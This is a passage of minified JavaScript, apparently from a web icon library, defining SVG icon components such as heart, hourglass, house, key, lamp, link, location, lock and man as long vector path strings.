c-73.02-9.985-74.189-13.38-78.548-25.996l-13.935-40.345l-32.092,28.391c-5.541,4.879-30.295,26.59-59.042,50.402 c-0.825-10.956-0.138-21.938,2.063-32.852C168.938,1133.297,226.476,1089.631,293.628,1089.631z M172.651,1285.445 c20.013-16.188,39.799-32.926,54.121-45.205c19.833,17.894,50.772,22.932,103.848,30.191c36.012,4.922,71.31,19.338,96.846,32.006 v64.342c0,70.252-57.155,127.406-127.403,127.406c-70.256,0-127.412-57.154-127.412-127.406V1285.445z M284.185,1550.584 c11.816,1.041,23.529,0.916,35.208-0.317v17.632l-17.657,9.778l-17.55-9.753V1550.584z M116.373,1739.6v0.025H80.474 c13.093-63.959,69.255-117.121,146.612-138.646v0.55l74.606,41.444l74.795-41.427v-0.567 c77.362,21.525,133.52,74.688,146.612,138.646l-384.611-0.051v0.025H116.373z"}),(0,o.createElement)("path",{d:"M1572.91,1542.108v-7.458c57.009-26.082,97.414-80.139,106.207-142.039 c24.033-8.717,40.98-31.932,40.98-58.221c0-22.631-12.224-42.889-31.141-53.699c1.965-6.164,3.58-12.375,4.826-18.586 c10.067-49.921-1.4-100.942-32.293-143.668c-30.381-42.029-76.059-71.013-128.61-81.608c-14.129-2.854-28.537-4.298-42.833-4.298 c-45.068,0-89.045,14.537-123.822,40.929c-35.818,27.174-60.311,65.782-68.967,108.718c-6.564,32.551-3.882,66.13,7.719,97.641 c-19.664,10.57-32.688,31.349-32.688,54.576c0,26.633,17.198,49.93,41.587,58.449c9.035,63.379,50.754,117.951,109.633,143.385 v5.88c-122.296,27.707-206.621,119.176-206.621,226.067v28.558h106.436v-0.052h11.825v0.052h444.384v-28.558 C1779.531,1661.284,1695.207,1569.815,1572.91,1542.108z M1490.047,1089.631c10.488,0,21.104,1.065,31.55,3.172 c38.423,7.745,71.671,28.729,93.622,59.094c20.478,28.309,28.722,61.611,23.447,94.254c-28.103-13.11-65.033-26.977-103.883-32.294 c-73.016-9.985-74.185-13.38-78.539-26.001l-13.939-40.34l-32.151,28.442c-5.562,4.9-30.381,26.658-58.986,50.351 c-0.821-10.956-0.134-21.943,2.067-32.852C1365.36,1133.297,1422.894,1089.631,1490.047,1089.631z M1369.074,1285.445 c20.073-16.238,39.828-32.951,54.12-45.205c19.833,17.894,50.769,22.932,103.849,30.191c36.002,4.922,71.309,19.338,96.846,32.006 v64.342c0,70.252-57.15,127.406-127.403,127.406c-70.257,0-127.411-57.154-127.411-127.406V1285.445z M1480.607,1550.584 c11.803,1.041,23.533,0.912,35.203-0.317v17.632l-17.652,9.778l-17.551-9.753V1550.584z M1276.9,1739.6 c13.109-63.946,69.255-117.1,146.607-138.621v0.55l74.607,41.444l74.795-41.427v-0.567c77.37,21.521,133.52,74.688,146.612,138.646 l-384.616-0.051v0.025H1276.9z"})),heart:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1598.646,483.59c0-159.066-151.555-242.271-232.804-242.271c-17.445,0-31.592,14.14-31.592,31.594 c0,17.444,14.146,31.592,31.592,31.592c50.731,0,169.618,60.929,169.618,179.084c0,17.444,14.147,31.593,31.593,31.593 C1584.508,515.183,1598.646,501.034,1598.646,483.59z"}),(0,o.createElement)("path",{d:"M1245.167,67.346c-8.005,0-15.974,0.176-23.897,0.515c-124.318-6.434-239.696,39.191-324.708,117.896 C802.382,111.649,683.698,67.346,554.832,67.346C249.563,67.346,1.211,315.7,1.211,620.971 c0,169.59,76.672,321.587,197.146,423.214l679.305,679.309c5.924,5.923,13.963,9.246,22.337,9.246 c8.384,0,16.413-3.323,22.347-9.246l679.218-679.238c120.519-101.636,197.227-253.659,197.227-423.285 C1798.79,315.7,1550.438,67.346,1245.167,67.346z M899.999,1656.474l-505.608-505.617L241.498,997.96l-60.105-60.101 c-0.744-0.749-1.52-1.445-2.323-2.098c-71.524-85.24-114.673-195.066-114.673-314.791c0-270.426,220.008-490.44,490.435-490.44 c111.765,0,214.891,37.604,297.452,100.783c0.309,0.229,0.599,0.476,0.908,0.714c-56.627,69.7-92.777,157.083-98.507,253.368 c-1.04,17.418,12.235,32.377,29.654,33.409c0.643,0.044,1.278,0.062,1.913,0.062c16.581,0,30.508-12.94,31.505-29.715 c5.059-85.082,37.825-162.045,88.959-222.683c13.021-12.438,26.683-24.197,40.999-35.154 c76.84-58.798,171.504-95.406,274.348-100.202c1.604,0.048,3.183-0.013,4.733-0.194c6.101-0.229,12.218-0.387,18.371-0.387 c270.434,0,490.438,220.014,490.438,490.44c0,119.707-43.133,229.515-114.648,314.755c-0.811,0.671-1.596,1.375-2.354,2.133 l-60.153,60.146l-152.843,152.852L899.999,1656.474z"})),hourglass:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1291.915,534.357v-332.82h205.125c17.342,0,31.397-14.056,31.397-31.396V33.361 c0-17.34-14.056-31.396-31.397-31.396H302.959c-17.34,0-31.396,14.055-31.396,31.396v136.779c0,17.341,14.056,31.396,31.396,31.396 h205.126v332.82c0,163.429,98.684,304.023,239.057,364.271c-140.373,60.465-239.057,201.569-239.057,365.587v334.248H302.959 c-17.34,0-31.396,14.056-31.396,31.396v136.779c0,17.34,14.056,31.396,31.396,31.396H1497.04c17.342,0,31.397-14.056,31.397-31.396 v-136.779c0-17.34-14.056-31.396-31.397-31.396h-205.125v-334.248c0-164.019-98.686-305.122-239.057-365.587 C1193.229,838.381,1291.915,697.787,1291.915,534.357z M334.355,64.758h1131.289v73.987H1260.52H539.48H334.355V64.758z M1229.124,201.537v301.424H570.876V201.537H1229.124z M624.024,1591.386L900,1365.789l275.973,225.597H624.024z M1465.645,1735.243H334.355v-73.987H539.48h721.039h205.125V1735.243z M1229.124,1264.216v289.515l-309.252-252.802 c-11.559-9.447-28.183-9.447-39.742,0L570.876,1553.73v-289.515c0-184.304,147.644-334.248,329.124-334.248 C1081.477,929.968,1229.124,1079.912,1229.124,1264.216z M900,867.177c-171.004,0-311.915-132.581-327.617-301.424h655.234 C1211.914,734.596,1071.004,867.177,900,867.177z"}),(0,o.createElement)("path",{d:"M900,1172.91c17.34,0,31.396-14.056,31.396-31.397v-105.4c0-17.34-14.056-31.396-31.396-31.396 c-17.34,0-31.396,14.056-31.396,31.396v105.4C868.604,1158.854,882.66,1172.91,900,1172.91z"})),house:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1783.877,760.195L1448.221,519.4c0.936-5.06,1.49-10.252,1.49-15.58V88.032 c0-47.163-38.371-85.533-85.533-85.533h-124.246c-47.162,0-85.533,38.37-85.533,85.533v220.587L918.581,139.452 c-4.537-3.26-9.654-5.051-14.847-5.618c-1.234-0.156-2.483-0.246-3.732-0.255c-1.249,0.009-2.497,0.099-3.732,0.255 c-5.188,0.567-10.309,2.358-14.846,5.618l-865.3,620.743c-14.143,10.142-17.383,29.829-7.236,43.971 c6.155,8.581,15.822,13.149,25.63,13.149c6.361,0,12.78-1.921,18.341-5.913L900.002,203.69l254.396,182.496l63.024,45.211 l132.331,94.932l64.783,46.473l332.604,238.601c5.562,3.991,11.979,5.913,18.341,5.913c9.809,0,19.476-4.568,25.631-13.149 C1801.26,790.027,1798.02,770.337,1783.877,760.195z M1217.423,353.834V88.032c0-12.411,10.099-22.509,22.509-22.509h124.246 c12.41,0,22.509,10.098,22.509,22.509v387.226L1217.423,353.834z"}),(0,o.createElement)("path",{d:"M1534.746,800.935c-17.404,0-31.512,14.107-31.512,31.512v894.17c0,1.895-6.37,7.86-17.418,7.86h-353.228 v-548.772c0-17.404-14.107-31.512-31.513-31.512H698.928c-17.404,0-31.512,14.107-31.512,31.512v548.772H314.188 c-11.048,0-17.418-5.966-17.418-7.86v-894.17c0-17.405-14.107-31.512-31.512-31.512c-17.404,0-31.512,14.107-31.512,31.512v894.17 c0,1.169,0.136,2.303,0.197,3.459c2.071,37.474,37.214,67.426,80.245,67.426h384.74c17.405,0,31.512-14.108,31.512-31.513v-548.771 h339.125v548.771c0,17.404,14.107,31.513,31.512,31.513h384.74c43.031,0,78.174-29.952,80.244-67.426 c0.063-1.156,0.198-2.29,0.198-3.459v-894.17C1566.259,815.042,1552.151,800.935,1534.746,800.935z"}),(0,o.createElement)("path",{d:"M1073.253,782.176c0-95.411-77.624-173.04-173.04-173.04s-173.04,77.628-173.04,173.04 c0,95.416,77.624,173.04,173.04,173.04S1073.253,877.592,1073.253,782.176z M790.198,782.176 c0-60.663,49.352-110.016,110.016-110.016s110.015,49.353,110.015,110.016c0,60.664-49.352,110.016-110.015,110.016 S790.198,842.84,790.198,782.176z"})),id:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M975.824,1161.939v-7.569c57.861-26.47,98.873-81.339,107.801-144.171 c24.396-8.848,41.596-32.416,41.596-59.1c0-22.972-12.408-43.534-31.613-54.503c1.998-6.256,3.639-12.565,4.903-18.865 c10.218-50.672-1.423-102.46-32.774-145.828c-30.846-42.665-77.207-72.085-130.549-82.844 c-14.346-2.889-28.971-4.354-43.473-4.354c-45.75,0-90.384,14.751-125.688,41.54c-36.353,27.583-61.213,66.775-70,110.353 c-6.666,33.045-3.944,67.129,7.836,99.109c-19.965,10.732-33.185,31.823-33.185,55.4c0,27.033,17.461,50.681,42.216,59.328 c9.171,64.328,51.518,119.72,111.282,145.535v5.973c-124.135,28.12-209.728,120.969-209.728,229.471v28.979h108.036v-0.052h11.998 v0.052h451.071v-28.979C1185.553,1282.908,1099.959,1190.063,975.824,1161.939z M891.715,702.663 c10.646,0,21.422,1.082,32.024,3.211c38.996,7.871,72.748,29.171,95.025,59.991c20.776,28.726,29.145,62.513,23.796,95.671 c-28.517-13.312-66.004-27.382-105.436-32.783c-74.119-10.131-75.306-13.578-79.721-26.388l-14.153-40.951l-32.548,28.804 c-3.464,3.045-29.694,26.1-59.956,51.178c-0.838-11.125-0.14-22.277,2.094-33.351 C765.153,746.982,823.557,702.663,891.715,702.663z M768.923,901.422c20.323-16.443,40.401-33.424,54.93-45.885 c20.139,18.163,51.536,23.272,105.41,30.641c36.544,5,72.382,19.633,98.306,32.487v65.31c0,71.313-58.01,129.322-129.318,129.322 c-71.317,0-129.327-58.01-129.327-129.322V901.422z M882.134,1170.543c11.98,1.057,23.892,0.93,35.732-0.318v17.893l-17.914,9.931 l-17.818-9.899V1170.543z M675.364,1362.4c13.307-64.903,70.296-118.855,148.812-140.705v0.559l75.724,42.072l75.925-42.051v-0.58 c78.524,21.85,135.522,75.814,148.813,140.731l-390.391-0.048v0.021H675.364z"}),(0,o.createElement)("path",{d:"M1185.553,1546.793H614.448c-17.273,0-31.274-14-31.274-31.273s14.001-31.273,31.274-31.273h571.104 c17.272,0,31.273,14,31.273,31.273S1202.825,1546.793,1185.553,1546.793z"}),(0,o.createElement)("path",{d:"M1581.322,190.83h-529.979V95.817c0-46.806-38.08-84.886-84.886-84.886H833.543 c-46.806,0-84.886,38.08-84.886,84.886v95.012H218.679c-46.807,0-84.886,38.08-84.886,84.886v1428.468 c0,46.805,38.08,84.885,84.886,84.885h1362.644c46.805,0,84.885-38.08,84.885-84.885V275.716 C1666.207,228.909,1628.127,190.83,1581.322,190.83z M811.205,95.817c0-12.317,10.021-22.339,22.338-22.339h132.914 c12.316,0,22.338,10.022,22.338,22.339v95.012v62.547v128.372c0,12.316-10.021,22.338-22.338,22.338H833.543 c-12.316,0-22.338-10.021-22.338-22.338V253.377V190.83V95.817z M1603.66,1704.184c0,12.316-10.021,22.338-22.338,22.338H218.679 c-12.317,0-22.339-10.021-22.339-22.338V275.716c0-12.317,10.022-22.339,22.339-22.339h529.979v128.372 c0,46.806,38.08,84.886,84.886,84.886h132.914c46.806,0,84.886-38.08,84.886-84.886V253.377h529.979 c12.316,0,22.338,10.022,22.338,22.339V1704.184z"})),idea:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M900.114,54.882c-329.509,0-597.583,268.077-597.583,597.59c0,219.592,118.159,418.518,309.714,523.794 v152.835h-0.127v122.121h-0.172v185.238h172.682c3.58,60.518,53.924,108.656,115.315,108.656 c61.39,0,111.736-48.139,115.31-108.656h172.571v-122.122h0.177v-185.237h-0.019v-152.835 c191.557-105.276,309.715-304.203,309.715-523.794C1497.697,322.959,1229.623,54.882,900.114,54.882z M675.235,1392.218h449.649 v59.005H675.235V1392.218z M899.943,1682.002c-29.441,0-48.627-22.507-51.876-45.541h103.788 C948.464,1662.119,926.504,1682.002,899.943,1682.002z M1124.708,1573.344H675.063v-59.005h449.645V1573.344z M1142.116,1129.132 l-17.25,8.778v189.457H931.559V861l187.201-187.21c12.323-12.323,12.323-32.302-0.005-44.63 c-12.318-12.318-32.302-12.323-44.629,0.004L900,803.299L725.875,629.165c-12.323-12.323-32.307-12.328-44.63-0.004 c-12.328,12.328-12.328,32.307-0.005,44.63L868.441,861v466.367H675.362V1137.91l-17.249-8.778 c-180.4-91.778-292.465-274.427-292.465-476.66c0-294.71,239.761-534.471,534.466-534.471 c294.706,0,534.466,239.761,534.466,534.471C1434.58,854.705,1322.516,1037.354,1142.116,1129.132z"}),(0,o.createElement)("path",{d:"M1066.667,246.225c-17.43,0-31.558,14.128-31.558,31.559s14.128,31.558,31.558,31.558 c49.641,0,165.99,59.634,165.99,175.279c0,17.431,14.128,31.559,31.558,31.559c17.431,0,31.559-14.128,31.559-31.559 C1295.773,328.101,1146.624,246.225,1066.667,246.225z"}),(0,o.createElement)("path",{d:"M209.331,712.881c0-17.43-14.128-31.558-31.558-31.558H34.686c-17.43,0-31.558,14.128-31.558,31.558 s14.128,31.558,31.558,31.558h143.087C195.203,744.439,209.331,730.312,209.331,712.881z"}),(0,o.createElement)("path",{d:"M220.157,300.096c6.164,6.163,14.239,9.245,22.317,9.245c8.075,0,16.153-3.082,22.313-9.241 c12.328-12.328,12.328-32.307,0.004-44.629L163.623,154.297c-12.318-12.319-32.303-12.323-44.63-0.004 c-12.327,12.327-12.327,32.307-0.004,44.63L220.157,300.096z"}),(0,o.createElement)("path",{d:"M220.17,1125.662l-101.178,101.174c-12.327,12.327-12.327,32.307-0.004,44.634 c6.164,6.164,14.238,9.246,22.317,9.246c8.074,0,16.153-3.082,22.312-9.246l101.179-101.173 c12.327-12.327,12.327-32.307,0.004-44.625C252.478,1113.344,232.493,1113.344,220.17,1125.662z"}),(0,o.createElement)("path",{d:"M1765.314,681.323h-143.083c-17.43,0-31.559,14.128-31.559,31.558s14.129,31.558,31.559,31.558h143.083 c17.43,0,31.558-14.128,31.558-31.558S1782.744,681.323,1765.314,681.323z"}),(0,o.createElement)("path",{d:"M1557.521,309.341c8.074,0,16.153-3.082,22.316-9.241l101.174-101.173 c12.322-12.327,12.322-32.307,0-44.634c-12.328-12.319-32.307-12.319-44.635,0l-101.173,101.173 c-12.323,12.328-12.323,32.307,0,44.634C1541.368,306.259,1549.447,309.341,1557.521,309.341z"}),(0,o.createElement)("path",{d:"M1579.829,1125.662c-12.318-12.318-32.302-12.318-44.63,0.01c-12.323,12.318-12.323,32.298,0.005,44.625 l101.178,101.173c6.159,6.164,14.238,9.246,22.312,9.246c8.075,0,16.154-3.082,22.318-9.246 c12.322-12.327,12.322-32.307-0.005-44.634L1579.829,1125.662z"})),key:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M246.051,1796.104c-2.663,0-5.348-0.336-7.992-1.025l-166.817-43.505 c-11.095-2.895-19.762-11.557-22.656-22.654L5.044,1562.08c-2.839-10.881,0.3-22.446,8.251-30.397l101.307-101.312 c0.476-0.544,0.968-1.069,1.481-1.587l668.3-668.298c-43.625-93.255-59.486-199.569-44.681-301.964 c16.48-114,68.356-217.425,150.023-299.096C990.027,59.131,1123.381,3.896,1265.223,3.896 c141.839,0,275.184,55.23,375.479,155.521c207.043,207.047,207.043,543.934,0,750.977 c-100.277,100.277-233.622,155.512-375.456,155.517c-77.911,0.005-155.419-17.284-225.608-50.161l-198.6,198.589 c-5.219,5.22-12.101,8.454-19.45,9.14l-96.017,8.972l-8.967,96.021c-0.686,7.35-3.92,14.23-9.14,19.454l-0.805,0.805 c-5.224,5.219-12.104,8.454-19.454,9.14l-96.02,8.967l-8.965,96.018c-0.689,7.371-3.938,14.27-9.184,19.498l-1.237,1.233 c-5.215,5.197-12.081,8.414-19.413,9.1l-95.584,8.927l-8.925,95.58c-0.688,7.354-3.92,14.235-9.144,19.459l-67.392,67.384 c-0.521,0.521-1.057,1.021-1.604,1.498l-101.283,101.289C262.438,1792.842,254.346,1796.104,246.051,1796.104z M105.198,1694.951 l131.287,34.242l90.004-90.012c0.518-0.517,1.05-1.017,1.598-1.494l57.77-57.762l10.304-110.354 c1.417-15.167,13.429-27.18,28.596-28.598l96.718-9.034l9.069-97.144c1.416-15.168,13.429-27.18,28.596-28.599l96.753-9.038 l9.038-96.755c1.419-15.163,13.427-27.176,28.594-28.594l110.792-10.351l206.612-206.602c9.797-9.802,24.846-12.091,37.114-5.652 c66.53,34.905,141.635,53.353,217.198,53.348c124.917-0.005,242.346-48.646,330.656-136.959 c182.347-182.343,182.347-479.03,0-661.377c-88.318-88.323-205.758-136.964-330.674-136.964 c-124.92,0-242.363,48.645-330.699,136.977C788.967,349.79,755.365,569.959,850.918,752.09 c6.444,12.277,4.154,27.312-5.648,37.119l-682.855,682.847c-0.473,0.543-0.966,1.073-1.479,1.586l-90.005,90.003L105.198,1694.951 z"}),(0,o.createElement)("path",{d:"M1273.541,713.839c-48.809,0-94.691-19.008-129.203-53.524c-71.242-71.242-71.246-187.168-0.01-258.411 c34.512-34.512,80.395-53.52,129.203-53.52s94.701,19.008,129.217,53.52c34.516,34.516,53.523,80.403,53.523,129.208 c0,48.809-19.008,94.696-53.523,129.208C1368.236,694.831,1322.35,713.839,1273.541,713.839z M1273.531,411.742 c-31.881,0-61.854,12.414-84.398,34.958c-46.541,46.541-46.537,122.273,0.01,168.814c22.543,22.548,52.516,34.967,84.398,34.967 c31.887,0,61.863-12.418,84.407-34.967c22.548-22.543,34.966-52.517,34.966-84.403c0-31.882-12.418-61.859-34.966-84.403 C1335.4,424.161,1305.418,411.742,1273.531,411.742z"})),lamp:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1304.016,1574.496h-210.088c-18.638-114.862-119.3-202.092-243.578-207.916L407.561,923.791 c13.76-18.541,21.918-41.481,21.918-66.292c0-23.781-7.513-45.826-20.252-63.945l371.323-371.323 c-14.206,116.245,24.754,235.776,110.417,321.43c6.104,6.104,14.108,9.158,22.11,9.158c8.001,0,16.007-3.054,22.114-9.162 l126.512-126.511c0.018,0.022,0.035,0.043,0.052,0.061c36.198,36.202,84.324,56.136,135.521,56.136 c51.192,0,99.318-19.934,135.521-56.131c36.198-36.202,56.131-84.328,56.131-135.52c0-51.193-19.938-99.323-56.14-135.521 c-0.018-0.018-0.039-0.035-0.057-0.053l105.893-105.893c12.212-12.216,12.212-32.014,0-44.229 c-73.124-73.12-170.353-113.393-273.775-113.393c-49.339,0-98.874,9.603-144.561,27.904L947.67,37.89 c-19.244-19.24-44.831-29.837-72.042-29.837c-27.21,0-52.798,10.597-72.046,29.841l-70.729,70.733 c-39.714,39.723-39.714,104.353,0,144.08l64.381,64.381l-437.196,437.2c-12.979-5.305-27.158-8.25-42.018-8.25 c-61.458,0-111.459,50.002-111.459,111.46c0,61.463,50.001,111.464,111.459,111.464c13.769,0,26.958-2.525,39.143-7.115 l412.673,412.678c-98.581,24.637-173.751,102.289-189.601,199.971H370.146c-17.272,0-31.272,14-31.272,31.272v156.907 c0,17.271,14,31.271,31.272,31.271h933.87c17.272,0,31.272-14,31.272-31.271v-156.907 C1335.288,1588.496,1321.288,1574.496,1304.016,1574.496z M1288.567,390.4c24.384,24.384,37.816,56.803,37.816,91.291 c0,34.487-13.429,66.907-37.816,91.291c-24.384,24.388-56.803,37.816-91.291,37.816c-34.487,0-66.907-13.429-91.29-37.812 c-0.022-0.022-0.044-0.039-0.065-0.057l182.59-182.59C1288.532,390.357,1288.55,390.383,1288.567,390.4z M777.082,208.482 c-15.335-15.34-15.335-40.295,0-55.634l70.725-70.729c7.43-7.43,17.312-11.521,27.821-11.521s20.392,4.092,27.817,11.521 l86.758,86.754c0.301,0.322,0.598,0.637,0.877,0.92c9.323,9.319,23.488,11.797,35.43,6.183 c42.864-20.169,90.701-30.827,138.339-30.827c76.204,0,148.398,26.076,206.393,74.005L914.146,676.248 c-78.975-95.98-96.844-230.711-43.204-344.701c5.615-11.932,3.141-26.103-6.182-35.43c-0.284-0.284-0.598-0.581-0.917-0.877 L777.082,208.482z M269.104,857.499c0-26.971,21.944-48.915,48.915-48.915s48.915,21.944,48.915,48.915 c0,26.975-21.944,48.92-48.915,48.92S269.104,884.474,269.104,857.499z M837.079,1428.811c95.366,0,174.466,61.813,193.24,145.686 H643.844C662.612,1490.623,741.713,1428.811,837.079,1428.811z M1272.743,1731.402H401.418v-94.361h207.048h457.23h207.047 V1731.402z"}),(0,o.createElement)("path",{d:"M1425.366,673.413c-12.207-12.207-32.01-12.211-44.226,0.004c-12.211,12.211-12.211,32.014,0.004,44.225 l56.703,56.699c6.104,6.104,14.109,9.157,22.11,9.157c8.002,0,16.007-3.054,22.115-9.162c12.211-12.211,12.211-32.014-0.005-44.225 L1425.366,673.413z"}),(0,o.createElement)("path",{d:"M1233.095,744.966c-17.268,0-31.272,14-31.272,31.268l-0.009,80.196c0,17.272,13.996,31.277,31.269,31.277 h0.004c17.268,0,31.272-14,31.272-31.268l0.009-80.196c0-17.272-13.996-31.277-31.268-31.277H1233.095z"}),(0,o.createElement)("path",{d:"M1564.171,494.09l-80.191-0.009h-0.004c-17.269,0-31.272,14-31.272,31.269 c0,17.271,13.995,31.276,31.268,31.276l80.192,0.009c0.004,0,0.004,0,0.004,0c17.268,0,31.272-14,31.272-31.268 C1595.439,508.095,1581.443,494.09,1564.171,494.09z"})),link:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M1710.11,89.813c-56.914-56.918-132.584-88.264-213.075-88.264c-80.486,0-156.16,31.34-213.083,88.255 L946.48,427.263c-109.931,109.943-116.968,284.393-21.16,402.64l-95.495,95.494c-53.483-43.448-119.697-67.089-189.552-67.089 c-80.49,0-156.17,31.343-213.083,88.262L89.734,1284.028c-117.487,117.483-117.487,308.662-0.005,426.163 c56.918,56.915,132.599,88.26,213.088,88.26c0.004,0-0.004,0,0.004,0c80.488,0,156.173-31.354,213.091-88.271l337.437-337.453 c56.922-56.912,88.276-132.588,88.276-213.081c0-69.864-23.651-136.072-67.104-189.552l95.489-95.496 c53.493,43.444,119.707,67.086,189.57,67.086c80.49,0,156.175-31.351,213.093-88.268l337.436-337.446 c56.923-56.918,88.269-132.588,88.272-213.083C1798.383,222.393,1767.033,146.718,1710.11,89.813z M878.416,1159.646 c0,63.606-24.776,123.409-69.764,168.387l-337.44,337.454c-44.978,44.979-104.782,69.753-168.394,69.753 c-63.612,0-123.414-24.771-168.391-69.745c-92.841-92.853-92.837-243.93,0-336.77l337.456-337.454 c44.982-44.983,104.785-69.754,168.391-69.754c52.942,0,103.214,17.214,144.53,48.908l-229.112,229.114 c-12.341,12.342-12.341,32.35,0,44.696c6.173,6.169,14.259,9.255,22.351,9.255s16.177-3.086,22.35-9.259L829.5,1015.116 C861.197,1056.43,878.416,1106.699,878.416,1159.646z M1665.414,471.271l-337.44,337.449 c-44.978,44.983-104.78,69.754-168.392,69.754c-52.945,0-103.224-17.213-144.542-48.902l239.749-239.755 c12.342-12.342,12.342-32.35-0.004-44.697c-12.338-12.336-32.35-12.34-44.696,0.005l-239.72,239.729 c-71.336-93.294-64.44-227.634,20.808-312.895L1328.648,134.5c44.982-44.969,104.781-69.74,168.387-69.74 c63.604,0,123.4,24.771,168.379,69.75c44.983,44.974,69.759,104.771,69.759,168.379 C1735.173,366.495,1710.397,426.296,1665.414,471.271z"})),location:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M899.993,1556.267l441.512-441.511c8.202-7.819,26.127-26.384,26.893-27.184l0.36-0.383 c110.946-118.997,172.046-274.141,172.046-436.851c0-353.342-287.463-640.805-640.803-640.805 c-353.342,0-640.805,287.463-640.805,640.805c0,162.714,61.1,317.857,172.038,436.851L899.993,1556.267z M900.001,71.159 c319.355,0,579.179,259.818,579.179,579.18c0,146.968-55.159,287.114-155.315,394.639c-5.202,5.387-19.292,19.873-25.095,25.383 L900.006,1469.1l-424.049-424.315C375.902,937.286,320.82,797.229,320.82,650.339C320.82,330.977,580.634,71.159,900.001,71.159z"}),(0,o.createElement)("path",{d:"M998.745,225.279c110.577,0,325.781,120.91,325.781,342.553c0,17.018,13.789,30.812,30.812,30.812 c17.014,0,30.812-13.794,30.812-30.812c0-115.37-50.989-222.331-143.563-301.184c-73.464-62.566-169.175-102.994-243.842-102.994 c-17.014,0-30.812,13.794-30.812,30.813S981.731,225.279,998.745,225.279z"}),(0,o.createElement)("path",{d:"M1286.716,1361.056c-24.003-9.809-49.854-18.548-77.134-26.264l-50.474,50.478 c148.765,35.502,240.488,98.79,240.488,157.599c0,87.962-205.171,185.974-499.596,185.974 c-294.417,0-499.597-98.012-499.597-185.974c0-58.805,91.723-122.097,240.488-157.599l-50.478-50.478 c-27.271,7.716-53.126,16.455-77.121,26.264c-112.537,45.995-174.513,110.563-174.513,181.813s61.977,135.817,174.513,181.813 c103.793,42.422,241.128,65.785,386.708,65.785c145.582,0,282.921-23.363,386.715-65.785 c112.536-45.995,174.504-110.563,174.504-181.813S1399.252,1407.051,1286.716,1361.056z"}),(0,o.createElement)("path",{d:"M901.771,945.221c-171.172,0-310.434-139.256-310.434-310.425S730.599,324.37,901.771,324.37 c171.172,0,310.434,139.256,310.434,310.425S1072.943,945.221,901.771,945.221z M901.771,385.995 c-137.193,0-248.809,111.612-248.809,248.801s111.616,248.801,248.809,248.801c137.192,0,248.809-111.612,248.809-248.801 S1038.964,385.995,901.771,385.995z"})),lock:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M900,868.536c-113.664,0-206.139,92.473-206.139,206.145c0,72.752,38.923,140.217,100.683,177.107v167.979 h210.914v-167.979c61.764-36.891,100.689-104.355,100.689-177.107C1106.146,961.009,1013.669,868.536,900,868.536z M960.627,1204.401l-18.129,8.493v143.914h-84.996v-143.914l-18.129-8.493c-50.148-23.487-82.554-74.403-82.554-129.721 c0-78.952,64.232-143.185,143.181-143.185c78.952,0,143.189,64.232,143.189,143.185 C1043.189,1129.998,1010.782,1180.914,960.627,1204.401z"}),(0,o.createElement)("path",{d:"M1306.793,621.365V406.939c-1.094-107.793-43.891-208.955-120.511-284.855 C1109.604,46.13,1007.934,4.301,899.996,4.301c-107.933,0-209.604,41.83-286.273,117.788 c-76.617,75.896-119.413,177.057-120.507,285.166v112.333h62.958V407.571c1.898-187.646,156.137-340.313,343.822-340.313 c187.696,0,341.942,152.667,343.839,339.996v214.11H888.52H192.564v474.124c1.906,187.453,76.336,363.382,209.578,495.369 C535.485,1722.948,712.296,1795.7,900.004,1795.7c187.708,0,364.519-72.752,497.863-204.843 c133.242-131.987,207.668-307.916,209.568-495.693V621.365H1306.793z M1544.477,1094.848 c-3.561,351.735-292.671,637.894-644.472,637.894c-351.796,0-640.912-286.158-644.482-637.577v-410.84h237.693h813.578h237.684 V1094.848z"})),man:e=>(0,o.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1800 1800",...e},(0,o.createElement)("path",{d:"M886.355,871.67h53.495c10.102,0,18.296-8.19,18.296-18.292c0-10.102-8.194-18.297-18.296-18.297h-35.2 v-85.604c0-10.104-8.188-18.294-18.294-18.294c-10.102,0-18.29,8.19-18.29,18.294v103.901 C868.065,863.479,876.253,871.67,886.355,871.67z"}),(0,o.createElement)("path",{d:"M1023.146,976.574c8.168-5.93,9.996-17.364,4.066-25.551c-5.922-8.177-17.373-10.006-25.551-4.066 c-101.739,73.761-199.976,3.223-204.197,0.113c-8.101-6-19.54-4.328-25.57,3.771c-6.033,8.099-4.352,19.56,3.747,25.603 c0.814,0.602,55.267,40.208,128.108,40.208C940.389,1016.651,981.693,1006.637,1023.146,976.574z"}),(0,o.createElement)("path",{d:"M722.023,669.317c-21.604,0-39.12,24.242-39.12,54.165c0,29.916,17.517,54.171,39.12,54.171 c21.606,0,39.121-24.256,39.121-54.171C761.145,693.56,743.629,669.317,722.023,669.317z"}),(0,o.createElement)("path",{d:"M787.496,653.241c8.102,5.977,19.524,4.298,25.547-3.792c6.03-8.101,4.352-19.559-3.751-25.594 c-29.785-22.174-104.559-50.742-174.351-0.139c-8.179,5.93-10.004,17.371-4.074,25.546c3.577,4.936,9.162,7.559,14.827,7.559 c3.721,0,7.478-1.13,10.72-3.485C721.58,606.091,784.808,651.267,787.496,653.241z"}),(0,o.createElement)("path",{d:"M1056.352,669.317c-21.615,0-39.127,24.242-39.127,54.165c0,29.916,17.512,54.171,39.127,54.171 